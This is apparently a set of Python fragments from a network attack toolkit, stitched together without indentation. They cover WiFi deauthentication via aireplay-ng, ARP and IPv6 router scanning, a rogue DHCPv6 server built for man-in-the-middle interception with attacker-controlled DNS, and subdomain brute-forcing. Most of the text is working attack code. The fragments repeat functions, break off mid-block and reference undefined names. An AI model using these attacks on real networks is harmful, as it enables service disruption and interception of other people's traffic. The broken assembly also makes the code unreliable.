def deauth_packets_send(network_interface: str = 'eth0',
network_channel: str = '1',
network_bssid: str = '12:34:56:78:90:ab',
mac_address: str = '12:34:56:78:90:ac',
number_of_deauth: int = 5):
global aireply_stop
# Start target requests sniffer function
threat_manager = ThreadManager(2)
threat_manager.add_task(requests_sniffer, mac_address)
# Set WiFi channel on interface for send WiFi deauth packets
sub.Popen(
['iwconfig ' + network_interface + ' channel ' + network_channel],
shell=True)
# Start deauth packets numbers
deauth_packets_number = number_of_deauth
aireply_stop = False
while deauth_packets_number < 50:
# Check global variable aireplay_stop
if aireply_stop:
base.print_info('Stop aireplay-ng ...')
break
# Start aireplay-ng process
try:
base.print_info('Send WiFi deauth packets in aireplay-ng ...')
aireplay_process = sub.Popen([
'aireplay-ng ' + network_interface + ' -0 ' +
str(deauth_packets_number) + ' -a ' + network_bssid + ' -c ' +
mac_address
],
shell=True,
stdout=sub.PIPE)
while True:
output = aireplay_process.stdout.readline().decode()
if output == '' and aireplay_process.poll() is not None:
break
if output:
stdout.write(
re.sub(r'(\d\d:\d\d:\d\d (Waiting|Sending))',
base.c_info + r'\g<1>', output))
except OSError:
base.print_error('Something else went wrong while trying to run ',
'`aireply-ng`')
exit(2)
# Wait before sniff request packet from target
base.print_info('Wait 10 sec. before sniff packets from target: ' +
mac_address)
sleep(10)
# Add 5 packets to number of WiFi deauth packets
deauth_packets_number += 5
def deauth_packets_send():
# Start DHCP or ARP requests sniffer function
tm = ThreadManager(2)
tm.add_task(dhcp_request_sniffer)
sleep(3)
# Set WiFi channel on interface for send WiFi deauth packets
sub.Popen(['iwconfig ' + deauth_network_interface + ' channel ' + channel],
shell=True)
Base.print_info("Send WiFi deauth packets ...")
# Start deauth packets numbers = 3
deauth_packets_number = 3
while not sniff_dhcp_request:
# Start aireplay-ng process
try:
aireplay_process = sub.Popen([
'aireplay-ng ' + deauth_network_interface + ' -0 ' +
str(deauth_packets_number) + ' -a ' + bssid + ' -c ' +
target_mac_address
],
shell=True,
stdout=sub.PIPE)
while True:
output = aireplay_process.stdout.readline()
if output == '' and aireplay_process.poll() is not None:
break
if output:
stdout.write(
re.sub(r'(\d\d:\d\d:\d\d (Waiting|Sending))',
Base.c_info + r'\g<1>', output))
except OSError as e:
if e.errno == errno.ENOENT:
Base.print_error("Program: ", "aireply-ng",
" is not installed!")
exit(1)
else:
Base.print_error(
"Something else went wrong while trying to run ",
"`aireply-ng`")
exit(2)
# Wait before sniff ARP or DHCP request packet
sleep(5)
# Add 5 packets to number of WiFi deauth packets
if deauth_packets_number < 30:
deauth_packets_number += 5
def search_router(
self,
network_interface: str = 'eth0',
timeout: int = 3,
retry: int = 3,
exit_on_failure: bool = True) -> Dict[str, Union[int, str]]:
"""
Search IPv6 router in network
:param network_interface: Network interface name (example: 'eth0')
:param timeout: Timeout in seconds (default: 3)
:param retry: Retry number (default: 3)
:param exit_on_failure: Exit if IPv6 router in network not found (default: True)
:return: IPv6 router information dictionary (example: {'router_mac_address': '01:23:45:67:89:0a', 'router_ipv6_address': 'fe80::1234:5678:90ab:cdef', 'flags': '0x0', 'router-lifetime': 0, 'reachable-time': 0, 'retrans-timer': 0, 'prefix': 'fd00::/64', 'vendor': 'D-Link International'})
"""
# region Clear lists with scan results
self.results.clear()
self.unique_results.clear()
self.mac_addresses.clear()
# endregion
# region Set variables
self.router_search = True
self.network_interface = network_interface
self.timeout = int(timeout)
self.retry_number = int(retry)
# endregion
# region Run _sniffer
tm = ThreadManager(2)
tm.add_task(self._sniff)
# endregion
# region Run _sender
self._send()
# endregion
# region Wait
sleep(self.timeout)
# endregion
# region Return IPv6 router information
if len(self.router_info.keys()) == 0:
if exit_on_failure:
self.base.error_text(
'Could not found IPv6 Router on interface: ' +
self.network_interface)
exit(1)
return self.router_info
def get_mac_address(self,
network_interface,
target_ip_address,
timeout=5,
retry=5,
exit_on_failure=True):
try:
# region Set variables
self.target_ip_address = target_ip_address
self.network_interface = network_interface
self.timeout = int(timeout)
self.retry_number = int(retry)
# endregion
# region Run sniffer
tm = ThreadManager(2)
tm.add_task(self.sniff)
# endregion
# region Run sender
self.send()
# endregion
# region Wait
sleep(self.timeout)
# endregion
# region Return
if 'mac-address' in self.results[0].keys():
return self.results[0]['mac-address']
else:
return "ff:ff:ff:ff:ff:ff"
# endregion
except IndexError:
if exit_on_failure:
self.base.print_error(
"Could not find MAC address of IP address: ",
target_ip_address)
exit(1)
else:
return "ff:ff:ff:ff:ff:ff"
except KeyboardInterrupt:
self.base.print_info("Exit")
exit(0)
def search_router(self, network_interface, timeout=3, retry=3):
# region Set variables
self.router_search = True
self.network_interface = network_interface
self.timeout = int(timeout)
self.retry_number = int(retry)
# endregion
# region Run sniffer
tm = ThreadManager(2)
tm.add_task(self.sniff)
# endregion
# region Run sender
self.send()
# endregion
# region Wait
sleep(self.timeout)
# endregion
# region Return results
return self.router_info
def scan(self,
network_interface: str = 'eth0',
timeout: int = 3,
retry: int = 3,
target_ip_address: Union[None, str] = None,
check_vendor: bool = True,
exclude_ip_addresses: Union[None, List[str]] = None,
exit_on_failure: bool = True,
show_scan_percentage: bool = True) -> List[Dict[str, str]]:
"""
ARP scan on network interface
:param network_interface: Network interface name (example: 'eth0')
:param timeout: Timeout in seconds (default: 3)
:param retry: Retry number (default: 3)
:param target_ip_address: Target IPv4 address (example: 192.168.0.1)
:param check_vendor: Check vendor of hosts (default: True)
:param exclude_ip_addresses: Exclude IPv4 address list (example: ['192.168.0.1','192.168.0.2'])
:param exit_on_failure: Exit if alive hosts in network not found (default: True)
:param show_scan_percentage: Show ARP scan progress percentage (default: True)
:return: Result list of alive hosts (example: [{'mac-address': '01:23:45:67:89:0a', 'ip-address': '192.168.0.1'}])
"""
try:
# region Clear lists with scan results
self.results.clear()
self.unique_results.clear()
self.mac_addresses.clear()
# endregion
# region Set variables
self.quit = not show_scan_percentage
self.target_ip_address = target_ip_address
self.network_interface = network_interface
self.timeout = int(timeout)
self.retry_number = int(retry)
# endregion
# region Run _sniffer
tm = ThreadManager(2)
tm.add_task(self._sniff)
# endregion
# region Run sender
self._send()
# endregion
# region Wait
sleep(self.timeout)
# endregion
# region Unique results
for index in range(len(self.results)):
if self.results[index][
'mac-address'] not in self.mac_addresses:
self.unique_results.append(self.results[index])
self.mac_addresses.append(
self.results[index]['mac-address'])
# endregion
# region Exclude IP addresses
if exclude_ip_addresses is not None:
self.results = self.unique_results
self.unique_results = list()
for index in range(len(self.results)):
if self.results[index][
'ip-address'] not in exclude_ip_addresses:
self.unique_results.append(self.results[index])
self.results = list()
# endregion
# region Get vendors
if check_vendor:
for result_index in range(len(self.unique_results)):
self.unique_results[result_index]['vendor'] = \
self.base.get_vendor_by_mac_address(self.unique_results[result_index]['mac-address'])
# endregion
except KeyboardInterrupt:
self.base.print_info('Exit')
exit(0)
if len(self.unique_results) == 0:
if exit_on_failure:
self.base.print_error(
'Could not find allive hosts on interface: ',
self.network_interface)
exit(1)
return self.unique_results
# region Main function
if __name__ == '__main__':
# region Import Raw-packet classes
path.append(dirname(dirname(dirname(abspath(__file__)))))
from raw_packet.Utils.base import Base
from raw_packet.Utils.network import RawEthernet, RawARP
from raw_packet.Utils.tm import ThreadManager
base: Base = Base()
eth: RawEthernet = RawEthernet()
arp: RawARP = RawARP()
thread_manager: ThreadManager = ThreadManager(2)
# endregion
# region Raw socket
raw_socket: socket = socket(AF_PACKET, SOCK_RAW)
# endregion
try:
# region Check user and platform
base.check_user()
base.check_platform()
# endregion
# region Parse script arguments
parser: ArgumentParser = ArgumentParser(description='ARP fuzzing script')
class DHCPv6Server:
# region Set properties
_base: Base = Base()
_utils: Utils = Utils()
_sniff: RawSniff = RawSniff()
_eth: RawEthernet = RawEthernet()
_icmpv6: RawICMPv6 = RawICMPv6()
_dhcpv6: RawDHCPv6 = RawDHCPv6()
_thread_manager: ThreadManager = ThreadManager(10)
_your: Dict[str, Union[None, str]] = {
'network-interface': None,
'mac-address': None,
'ipv6-link-address': None
}
_target: Dict[str, Union[None, str]] = {
'mac-address': None,
'ipv6-address': None
}
_clients: Dict[str, Dict[str, Union[bool, str]]] = dict()
_ipv6_prefix: str = 'fde4:8dba:82e1:ffff::/64'
_ipv6_prefix_address: str = 'fde4:8dba:82e1:ffff::'
_first_ipv6_address_suffix: int = 2
_last_ipv6_address_suffix: int = 65534
_domain_search: str = 'domain.local'
_solicit_packets_delay: float = 1
_disable_dhcpv6: bool = False
_exit_on_success: bool = False
_quiet: bool = True
# endregion
# region Init
def __init__(self, network_interface: str):
self._your = self._base.get_interface_settings(
interface_name=network_interface,
required_parameters=['mac-address', 'ipv6-link-address'])
self._dns_server_ipv6_address: str = self._your['ipv6-link-address']
self._raw_send: RawSend = RawSend(network_interface=network_interface)
# endregion
# region Start DHCPv6 Server
def start(self,
target_mac_address: Union[None, str] = None,
target_ipv6_address: Union[None, str] = None,
first_ipv6_address_suffix: int = 2,
last_ipv6_address_suffix: int = 65534,
dns_server_ipv6_address: Union[None, str] = None,
ipv6_prefix: str = 'fde4:8dba:82e1:ffff::/64',
domain_search: str = 'domain.local',
disable_dhcpv6: bool = False,
exit_on_success: bool = False,
quiet: bool = False) -> None:
# region Set variables
self._ipv6_prefix: str = ipv6_prefix
self._ipv6_prefix_address: str = self._ipv6_prefix.split('/')[0]
self._disable_dhcpv6 = disable_dhcpv6
self._domain_search = domain_search
self._exit_on_success = exit_on_success
self._quiet = quiet
# endregion
# region Set target MAC and IPv6 address, if target IP is not set - get first and last suffix IPv6 address
# region Set target IPv6 address
if target_mac_address is not None:
self._target['mac-address'] = \
self._utils.check_mac_address(mac_address=target_mac_address,
parameter_name='target MAC address')
# endregion
# region Target IPv6 is set
if target_ipv6_address is not None:
assert target_mac_address is not None, \
'Please set target MAC address for target IPv6 address: ' + \
self._base.info_text(str(target_ipv6_address))
self._target['ipv6-address'] = \
self._utils.check_ipv6_address(network_interface=self._your['network-interface'],
ipv6_address=target_ipv6_address,
is_local_ipv6_address=False,
parameter_name='target IPv6 address')
self._clients[self._target['mac-address']] = {
'advertise address': self._target['ipv6-address']
}
# endregion
# region Target IPv6 is not set - get first and last suffix IPv6 address
else:
# Check first suffix IPv6 address
self._first_ipv6_address_suffix = \
self._utils.check_value_in_range(value=first_ipv6_address_suffix,
first_value=1,
last_value=65535,
parameter_name='first IPv6 address suffix')
# Check last suffix IPv6 address
self._last_ipv6_address_suffix = \
self._utils.check_value_in_range(value=last_ipv6_address_suffix,
first_value=self._first_ipv6_address_suffix,
last_value=65535,
parameter_name='last IPv6 address suffix')
# endregion
# endregion
# region Set recursive DNS server address
if dns_server_ipv6_address is not None:
self._dns_server_ipv6_address = \
self._utils.check_ipv6_address(network_interface=self._your['network-interface'],
ipv6_address=dns_server_ipv6_address,
is_local_ipv6_address=False,
parameter_name='DNS server IPv6 address',
check_your_ipv6_address=False)
# endregion
# region General output
if not self._quiet:
self._base.print_info('Network interface: ',
self._your['network-interface'])
self._base.print_info('Your MAC address: ',
self._your['mac-address'])
self._base.print_info('Your link local IPv6 address: ',
self._your['ipv6-link-address'])
if self._target['mac-address'] is not None:
self._base.print_info('Target MAC address: ',
self._target['mac-address'])
if self._target['ipv6-address'] is not None:
self._base.print_info('Target IPv6 address: ',
self._target['ipv6-address'])
else:
self._base.print_info('First suffix offer IP: ',
str(self._first_ipv6_address_suffix))
self._base.print_info('Last suffix offer IP: ',
str(self._last_ipv6_address_suffix))
self._base.print_info('Prefix: ', self._ipv6_prefix)
self._base.print_info('Router IPv6 address: ',
self._your['ipv6-link-address'])
self._base.print_info('DNS IPv6 address: ',
self._dns_server_ipv6_address)
self._base.print_info('Domain search: ', self._domain_search)
# endregion
# region Send ICMPv6 advertise packets in other thread
self._thread_manager.add_task(self._send_icmpv6_advertise_packets)
# endregion
# region Add multicast MAC addresses on interface
self._add_multicast_mac_addresses()
# endregion
# region Start Sniffer
# region Print info message
self._base.print_info('Waiting for a ICMPv6 or DHCPv6 requests ...')
# endregion
# region Set sniff filters
sniff_filters: Dict = {
'Ethernet': {
'not-source': self._your['mac-address']
},
'UDP': {
'destination-port': 547,
'source-port': 546
},
'ICMPv6': {
'types': [133, 135]
}
}
scapy_lfilter: Any = lambda eth: eth.src != self._your['mac-address']
if self._target['mac-address'] is not None:
sniff_filters['Ethernet'] = {'source': self._target['mac-address']}
scapy_lfilter: Any = lambda eth: eth.src == self._target[
'mac-address']
# endregion
# region Start sniffer
self._sniff.start(protocols=['IPv6', 'UDP', 'ICMPv6', 'DHCPv6'],
prn=self._reply,
filters=sniff_filters,
network_interface=self._your['network-interface'],
scapy_filter='icmp6 or (udp and (port 547 or 546))',
scapy_lfilter=scapy_lfilter)
# endregion
# endregion
# endregion
# region Add multicast MAC addresses on interface
def _add_multicast_mac_addresses(self):
self._base.add_multicast_mac_address(
interface_name=self._your['network-interface'],
multicast_mac_address='33:33:00:00:00:02',
exit_on_failure=False,
quiet=self._quiet)
self._base.add_multicast_mac_address(
interface_name=self._your['network-interface'],
multicast_mac_address='33:33:00:01:00:02',
exit_on_failure=False,
quiet=self._quiet)
# endregion
# region Add client info in global self._clients dictionary
def _add_client_info_in_dictionary(
self,
client_mac_address: str,
client_info: Dict[str, Union[bool, str]],
this_client_already_in_dictionary: bool = False):
if this_client_already_in_dictionary:
self._clients[client_mac_address].update(client_info)
else:
self._clients[client_mac_address] = client_info
# endregion
# region Send ICMPv6 solicit packets
def _send_icmpv6_solicit_packets(self):
try:
while True:
icmpv6_solicit_packet = \
self._icmpv6.make_router_solicit_packet(ethernet_src_mac=self._your['mac-address'],
ipv6_src=self._your['ipv6-link-address'],
need_source_link_layer_address=True,
source_link_layer_address=self._eth.make_random_mac())
self._raw_send.send_packet(icmpv6_solicit_packet)
sleep(self._solicit_packets_delay)
except KeyboardInterrupt:
self._base.print_info('Exit')
exit(0)
# endregion
# region Send DHCPv6 solicit packets
def _send_dhcpv6_solicit_packets(self):
try:
while True:
request_options = [23, 24]
dhcpv6_solicit_packet = \
self._dhcpv6.make_solicit_packet(ethernet_src_mac=self._your['mac-address'],
ipv6_src=self._your['ipv6-link-address'],
transaction_id=randint(1, 16777215),
client_mac_address=self._eth.make_random_mac(),
option_request_list=request_options)
self._raw_send.send_packet(dhcpv6_solicit_packet)
sleep(self._solicit_packets_delay)
except KeyboardInterrupt:
self._base.print_info('Exit ....')
exit(0)
# endregion
# region Send ICMPv6 advertise packets
def _send_icmpv6_advertise_packets(self):
icmpv6_ra_packet = \
self._icmpv6.make_router_advertisement_packet(ethernet_src_mac=self._your['mac-address'],
ethernet_dst_mac='33:33:00:00:00:01',
ipv6_src=self._your['ipv6-link-address'],
ipv6_dst='ff02::1',
dns_address=self._dns_server_ipv6_address,
domain_search=self._domain_search,
prefix=self._ipv6_prefix,
router_lifetime=5000,
advertisement_interval=
int(self._solicit_packets_delay * 1000))
try:
while True:
self._raw_send.send_packet(icmpv6_ra_packet)
sleep(self._solicit_packets_delay)
except KeyboardInterrupt:
self._base.print_info('Exit')
exit(0)
# endregion
# region Reply to DHCPv6 and ICMPv6 requests
def _reply(self, packet):
# region Get client MAC address
client_mac_address: str = packet['Ethernet']['source']
# endregion
# region Check this client already in self._clients dictionary
client_already_in_dictionary: bool = False
if client_mac_address in self._clients.keys():
client_already_in_dictionary = True
# endregion
# region Check MiTM status for this client
self._check_mitm_status(client_mac_address=client_mac_address)
# endregion
# region ICMPv6
if 'ICMPv6' in packet.keys():
# region ICMPv6 Router Solicitation
if packet['ICMPv6']['type'] == 133:
# Make and send ICMPv6 router advertisement packet
icmpv6_ra_packet = \
self._icmpv6.make_router_advertisement_packet(ethernet_src_mac=self._your['mac-address'],
ethernet_dst_mac=packet['Ethernet']['source'],
ipv6_src=self._your['ipv6-link-address'],
ipv6_dst=packet['IPv6']['source-ip'],
dns_address=self._dns_server_ipv6_address,
domain_search=self._domain_search,
prefix=self._ipv6_prefix,
router_lifetime=5000)
self._raw_send.send_packet(icmpv6_ra_packet)
# Print info messages
self._base.print_info(
'ICMPv6 Router Solicitation request from: ',
packet['IPv6']['source-ip'] + ' (' +
packet['Ethernet']['source'] + ')')
self._base.print_info(
'ICMPv6 Router Advertisement reply to: ',
packet['IPv6']['source-ip'] + ' (' +
packet['Ethernet']['source'] + ')')
# Delete this client from global self._clients dictionary
try:
del self._clients[client_mac_address]
client_already_in_dictionary = False
except KeyError:
pass
# Add client info in global self._clients dictionary
self._add_client_info_in_dictionary(
client_mac_address, {
'router solicitation': True,
'network prefix': self._ipv6_prefix
}, client_already_in_dictionary)
# endregion
# region ICMPv6 Neighbor Solicitation
if packet['ICMPv6']['type'] == 135:
# region Get ICMPv6 Neighbor Solicitation target address
target_address: str = packet['ICMPv6']['target-address']
na_packet: Union[None, bytes] = None
if target_address.startswith('fe80::'):
if target_address == self._your['ipv6-link-address']:
self._add_client_info_in_dictionary(
client_mac_address,
{'neighbor solicitation your address': True},
client_already_in_dictionary)
else:
na_packet = \
self._icmpv6.make_neighbor_advertisement_packet(ethernet_src_mac=self._your['mac-address'],
ipv6_src=self._your['ipv6-link-address'],
target_ipv6_address=target_address)
# endregion
# region Neighbor Solicitation target address is DNS server IPv6 address
if self._dns_server_ipv6_address != self._your[
'ipv6-link-address']:
if self._dns_server_ipv6_address.startswith(self._ipv6_prefix_address) or \
self._dns_server_ipv6_address.startswith('fe80::'):
if target_address == self._dns_server_ipv6_address:
self._add_client_info_in_dictionary(
client_mac_address, {
'neighbor solicitation dns server address':
True
}, client_already_in_dictionary)
# endregion
# region Neighbor Solicitation target address not in your ipv6 prefix
if not target_address.startswith(
self._ipv6_prefix_address) and na_packet is not None:
for _ in range(10):
self._raw_send.send_packet(na_packet)
# endregion
# region Neighbor Solicitation target address in your ipv6 prefix
else:
self._add_client_info_in_dictionary(
client_mac_address,
{'neighbor solicitation in ipv6 prefix': True},
client_already_in_dictionary)
# endregion
# region DHCPv6 advertise address is set
# This client already in dictionary
if client_already_in_dictionary:
# Advertise address for this client is set
if 'advertise address' in self._clients[
client_mac_address].keys():
# ICMPv6 Neighbor Solicitation target address is DHCPv6 advertise IPv6 address
if target_address == self._clients[client_mac_address][
'advertise address']:
# Add client info in global self._clients dictionary
self._add_client_info_in_dictionary(
client_mac_address, {
'neighbor solicitation advertise address':
True
}, client_already_in_dictionary)
# ICMPv6 Neighbor Solicitation target address is not DHCPv6 advertise IPv6 address
elif na_packet is not None:
for _ in range(10):
self._raw_send.send_packet(na_packet)
# endregion
# endregion
# endregion
# region DHCPv6
# Protocol DHCPv6 is enabled
if not self._disable_dhcpv6 and 'DHCPv6' in packet.keys():
# region Get Client identifier and Identity Association for Non-temporary Address
cid: Union[None, bytes] = None
iaid: Union[None, int] = None
for option in packet['DHCPv6']['options']:
if option['type'] == 1:
cid = option['value']['raw']
elif option['type'] == 3:
iaid = option['value']['iaid']
if cid is None or iaid is None:
self._base.print_info(
'Malformed DHCPv6 packet from: ',
packet['IPv6']['source-ip'] + ' (' +
packet['Ethernet']['source'] + ')', ' XID: ',
hex(packet['DHCPv6']['transaction-id']))
return
# endregion
# region DHCPv6 Solicit
if packet['DHCPv6']['message-type'] == 1:
# Set IPv6 address in advertise packet
try:
ipv6_address = self._clients[client_mac_address][
'advertise address']
except KeyError:
if self._target['ipv6-address'] is not None:
ipv6_address = self._target['ipv6-address']
else:
ipv6_address = self._ipv6_prefix_address + \
format(randint(self._first_ipv6_address_suffix,
self._last_ipv6_address_suffix), 'x')
# Make and send DHCPv6 advertise packet
dhcpv6_advertise = \
self._dhcpv6.make_advertise_packet(ethernet_src_mac=self._your['mac-address'],
ethernet_dst_mac=packet['Ethernet']['source'],
ipv6_src=self._your['ipv6-link-address'],
ipv6_dst=packet['IPv6']['source-ip'],
transaction_id=packet['DHCPv6']['transaction-id'],
dns_address=self._dns_server_ipv6_address,
domain_search=self._domain_search,
ipv6_address=ipv6_address,
cid=cid, iaid=iaid, preference=255)
self._raw_send.send_packet(dhcpv6_advertise)
# Print info messages
self._base.print_info(
'DHCPv6 Solicit from: ', packet['IPv6']['source-ip'] +
' (' + packet['Ethernet']['source'] + ')', ' XID: ',
hex(packet['DHCPv6']['transaction-id']))
self._base.print_info(
'DHCPv6 Advertise to: ', packet['IPv6']['source-ip'] +
' (' + packet['Ethernet']['source'] + ')', ' XID: ',
hex(packet['DHCPv6']['transaction-id']), ' IAA: ',
ipv6_address)
# Add client info in global self._clients dictionary
self._add_client_info_in_dictionary(
client_mac_address, {
'dhcpv6 solicit': True,
'advertise address': ipv6_address
}, client_already_in_dictionary)
# endregion
# region DHCPv6 Request
if packet['DHCPv6']['message-type'] == 3:
# Set DHCPv6 reply packet
dhcpv6_reply: Union[None, bytes] = None
# region Get Client DUID time, IPv6 address and Server MAC address
client_ipv6_address: Union[None, str] = None
server_mac_address: Union[None, str] = None
for dhcpv6_option in packet['DHCPv6']['options']:
if dhcpv6_option['type'] == 2:
server_mac_address = dhcpv6_option['value'][
'mac-address']
if dhcpv6_option['type'] == 3:
client_ipv6_address = dhcpv6_option['value'][
'ipv6-address']
# endregion
if server_mac_address is not None and client_ipv6_address is not None:
# Check Server MAC address
if server_mac_address != self._your['mac-address']:
self._add_client_info_in_dictionary(
client_mac_address, {
'dhcpv6 mitm':
'error: server mac address is not your mac address'
}, client_already_in_dictionary)
else:
self._add_client_info_in_dictionary(
client_mac_address, {'dhcpv6 mitm': 'success'},
client_already_in_dictionary)
try:
if client_ipv6_address == self._clients[
client_mac_address]['advertise address']:
dhcpv6_reply = \
self._dhcpv6.make_reply_packet(ethernet_src_mac=self._your['mac-address'],
ethernet_dst_mac=packet['Ethernet']['source'],
ipv6_src=self._your['ipv6-link-address'],
ipv6_dst=packet['IPv6']['source-ip'],
transaction_id=packet['DHCPv6']['transaction-id'],
dns_address=self._dns_server_ipv6_address,
domain_search=self._domain_search,
ipv6_address=client_ipv6_address,
cid=cid)
self._raw_send.send_packet(dhcpv6_reply)
else:
self._add_client_info_in_dictionary(
client_mac_address, {
'dhcpv6 mitm':
'error: client request address is not advertise address'
}, client_already_in_dictionary)
except KeyError:
self._add_client_info_in_dictionary(
client_mac_address, {
'dhcpv6 mitm':
'error: not found dhcpv6 solicit request for this client'
}, client_already_in_dictionary)
# Print info messages
self._base.print_info(
'DHCPv6 Request from: ', packet['IPv6']['source-ip'] +
' (' + packet['Ethernet']['source'] + ')', ' XID: ',
hex(packet['DHCPv6']['transaction-id']), ' Server: ',
server_mac_address, ' IAA: ', client_ipv6_address)
if dhcpv6_reply is not None:
self._base.print_info(
'DHCPv6 Reply to: ',
packet['IPv6']['source-ip'] + ' (' +
packet['Ethernet']['source'] + ')', ' XID: ',
hex(packet['DHCPv6']['transaction-id']),
' Server: ', server_mac_address, ' IAA: ',
client_ipv6_address)
else:
if self._clients[client_mac_address]['dhcpv6 mitm'] == \
'error: server mac address is not your mac address':
self._base.print_error(
'Server MAC address in DHCPv6 Request is not your MAC address '
+ 'for this client: ', client_mac_address)
if self._clients[client_mac_address]['dhcpv6 mitm'] == \
'error: client request address is not advertise address':
self._base.print_error(
'Client requested IPv6 address is not advertise IPv6 address '
+ 'for this client: ', client_mac_address)
if self._clients[client_mac_address]['dhcpv6 mitm'] == \
'error: not found dhcpv6 solicit request for this client':
self._base.print_error(
'Could not found DHCPv6 solicit request ' +
'for this client: ', client_mac_address)
# endregion
# region DHCPv6 Release
if packet['DHCPv6']['message-type'] == 8:
# Print info message
self._base.print_info(
'DHCPv6 Release from: ', packet['IPv6']['source-ip'] +
' (' + packet['Ethernet']['source'] + ')', ' XID: ',
hex(packet['DHCPv6']['transaction-id']))
# Delete this client from global self._clients dictionary
try:
del self._clients[client_mac_address]
client_already_in_dictionary = False
except KeyError:
pass
# endregion
# region DHCPv6 Confirm
if packet['DHCPv6']['message-type'] == 4:
# region Get Client IPv6 address
client_ipv6_address: Union[None, str] = None
for dhcpv6_option in packet['DHCPv6']['options']:
if dhcpv6_option['type'] == 3:
client_ipv6_address = dhcpv6_option['value'][
'ipv6-address']
# endregion
# region Make and send DHCPv6 Reply packet
dhcpv6_reply = \
self._dhcpv6.make_reply_packet(ethernet_src_mac=self._your['mac-address'],
ethernet_dst_mac=packet['Ethernet']['source'],
ipv6_src=self._your['ipv6-link-address'],
ipv6_dst=packet['IPv6']['source-ip'],
transaction_id=packet['DHCPv6']['transaction-id'],
dns_address=self._dns_server_ipv6_address,
domain_search=self._domain_search,
ipv6_address=client_ipv6_address,
cid=cid)
self._raw_send.send_packet(dhcpv6_reply)
# endregion
# region Add Client info in global self._clients dictionary and print info message
self._add_client_info_in_dictionary(
client_mac_address, {
'advertise address': client_ipv6_address,
'dhcpv6 mitm': 'success'
}, client_already_in_dictionary)
self._base.print_info(
'DHCPv6 Confirm from: ', packet['IPv6']['source-ip'] +
' (' + packet['Ethernet']['source'] + ')', ' XID: ',
hex(packet['DHCPv6']['transaction-id']), ' IAA: ',
client_ipv6_address)
self._base.print_info(
'DHCPv6 Reply to: ', packet['IPv6']['source-ip'] +
' (' + packet['Ethernet']['source'] + ')', ' XID: ',
hex(packet['DHCPv6']['transaction-id']), ' IAA: ',
client_ipv6_address)
# endregion
# endregion
# endregion
# endregion
# region Check MiTM Success
def _check_mitm_status(self, client_mac_address: str):
try:
if not self._disable_dhcpv6:
assert self._clients[client_mac_address][
'dhcpv6 mitm'] == 'success'
# assert self._clients[client_mac_address]['neighbor solicitation advertise address']
else:
if self._dns_server_ipv6_address != self._your[
'ipv6-link-address']:
if self._dns_server_ipv6_address.startswith(self._ipv6_prefix_address) or \
self._dns_server_ipv6_address.startswith('fe80::'):
assert self._clients[client_mac_address][
'neighbor solicitation dns server address']
assert self._clients[client_mac_address][
'neighbor solicitation your address']
assert self._clients[client_mac_address][
'neighbor solicitation in ipv6 prefix']
assert 'success message' not in self._clients[
client_mac_address].keys()
self._base.print_success(
'MITM success: ',
self._clients[client_mac_address]['advertise address'] + ' (' +
client_mac_address + ')')
if self._exit_on_success:
sleep(3)
exit(0)
else:
self._clients[client_mac_address].update(
{'success message': True})
return True
except KeyError:
return False
except AssertionError:
return False
# region Main function
if __name__ == "__main__":
path.append(dirname(dirname(dirname(abspath(__file__)))))
from raw_packet.Utils.base import Base
from raw_packet.Utils.network import RawEthernet
from raw_packet.Utils.network import RawRadiotap
from raw_packet.Utils.network import RawIEEE80211
from raw_packet.Utils.network import RawSniff
from raw_packet.Utils.tm import ThreadManager
base: Base = Base()
eth: RawEthernet = RawEthernet()
radio: RawRadiotap = RawRadiotap()
iee: RawIEEE80211 = RawIEEE80211()
tm: ThreadManager = ThreadManager(2)
sniff: RawSniff = RawSniff()
# region Start sniffer
raw_socket.bind(('wlan0', 0))
init_deauth()
print('test')
sniff.start(protocols=['Radiotap', '802.11'], prn=deauth, network_interface='wlan0',
filters={'802.11': {'type': 0xc0, 'bss id': bss_id, 'source': client, 'destination': bss_id}})
# endregion
# endregion
def resolve(
self,
ns_servers, # type: List[Dict[str, str]]
domain, # type: str
subdomains_list=[], # type: List[str]
subdomains_file=None, # type: str
subdomains_brute=False, # type: bool
max_threats_count=10, # type: int
udp_destination_port=53, # type: int
timeout=30 # type: int
):
# type: (...) -> List[Dict[str, str]]
"""
DNS resolve all subdomains in target domain
:param ns_servers: List of DNS servers (example: [{'ipv4 address': '8.8.8.8', 'mac address': '01:23:45:67:89:0a'}])
:param domain: Target domain (example: 'test.com')
:param subdomains_list: List of subdomains (example: ['www','ns','mail'])
:param subdomains_file: Name of file with subdomains (default: None)
:param subdomains_brute: Brute mode on (auto make list with subdomains) if True, Brute mode off if False (default: False)
:param max_threats_count: Maximum threats count (default: 10)
:param udp_destination_port: UDP destination port (default: 53)
:param timeout: Connection after send all DNS queries (default: 30)
:return: List of dictionary (example: [{'Domain': 'www.test.com', 'IPv4 address': '1.2.3.4', 'IPv6 address': '-'}])
"""
try:
# region Set target domain
assert not (domain is None or domain == ''), \
'Target domain is empty, please set target domain in this parameter: ' + self.base.info_text('domain')
self.domain = domain
# endregion
# region Subdomains list
if len(subdomains_list) > 0:
self.subdomains = subdomains_list
# endregion
# region Subdomains file
if subdomains_file is not None:
assert isfile(subdomains_file), \
'File with subdomain list:' + self.base.error_text(subdomains_file) + ' not found!'
with open(subdomains_file) as subdomains_file_descriptor:
for subdomain in subdomains_file_descriptor.read(
).splitlines():
self.subdomains.append(subdomain)
# endregion
# region Subdomains brute
if subdomains_brute:
if not self.quiet:
self.base.print_info(
'Make subdomains list for brute .... ')
for character1 in self.available_characters:
self.subdomains.append(character1)
for character2 in self.available_characters:
self.subdomains.append(character1 + character2)
for character3 in self.available_characters:
self.subdomains.append(character1 + character2 +
character3)
# endregion
# region Check length of subdomains list
assert len(self.subdomains) != 0, \
'List containing subdomains is empty, please set any of this parameters: ' \
+ self.base.info_text('subdomain_list') + ' or ' \
+ self.base.info_text('subdomain_file') + ' or ' \
+ self.base.info_text('subdomain_brute')
# endregion
# region Create raw socket
raw_socket = socket(AF_PACKET, SOCK_RAW)
raw_socket.bind((self.network_interface, 0))
# endregion
# region Sniff DNS answers
if not self.quiet:
self.base.print_info('Start DNS answers sniffer ...')
threats = ThreadManager(max_threats_count)
threats.add_task(self._sniff_packets, self.your_mac_address,
self.your_ipv4_address, self.your_ipv6_address,
udp_destination_port)
# endregion
# region Send DNS queries
if not self.quiet:
self.base.print_info('Start sending DNS queries, time: ',
str(datetime.now()))
self._send_queries(send_socket=raw_socket,
source_mac_address=self.your_mac_address,
source_ipv4_address=self.your_ipv4_address,
source_ipv6_address=self.your_ipv6_address,
domain=domain,
ns_servers=ns_servers,
destination_port=udp_destination_port,
max_threats_count=int(max_threats_count) - 1,
subdomains=self.subdomains)
# endregion
# region Timeout
if not self.quiet:
